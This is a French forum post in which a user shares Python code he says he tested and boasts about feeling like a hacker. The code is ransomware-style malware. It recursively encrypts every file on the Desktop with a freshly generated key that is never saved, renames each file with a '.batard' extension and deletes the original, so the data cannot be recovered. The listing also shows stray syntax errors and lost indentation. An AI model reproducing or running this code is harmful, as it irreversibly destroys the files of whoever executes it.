Retour au sujet

Avatar de Nikoumouk Nikoumouk
Sayais, j'ai testé et ca marche nickel :

import os

# Installation du module cryptography
try:
import cryptography
except ImportError:
import subprocess
subprocess.check_call(["pip", "install", "cryptography"])
import cryptography

from cryptography.fernet import Fernet

# Génération de la clé de chiffrement
def generate_key():
return Fernet.generate_key()

# Chiffrement des données
def encrypt_data(data, key):
cipher = Fernet(key)
return cipher.encrypt(data)

# Chiffrement des fichiers du bureau
def encrypt_desktop_files():
desktop_path = os.path.expanduser("~/Desktop")
key = generate_key()
for root, directories, files in os.walk(desktop_path):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path, key)

# Chiffrement d'un fichier
def encrypt_file(file_path, key):
try:
with open(file_path, 'rb';) as file:
data = file.read()
encrypted_data = encrypt_data(data, key)

# Obtention du nouveau chemin avec l'extension ".batard"
encrypted_file_path = os.path.splitext(file_path)[0] + ".batard"

with open(encrypted_file_path, 'wb';) as file:
file.write(encrypted_data)

# Suppression du fichier d'origine
os.remove(file_path)

print("Fichier crypté avec succès :", encrypted_file_path)
except Exception as e:
print("Erreur lors du cryptage du fichier :", file_path)
print("Erreur :", str(e))

encrypt_desktop_files()

Une fois executé, il crypte les fichiers dans le bureau en remplacant l'extension par .BATARD !!!

Putain j'me sens hackeur aujourd'hui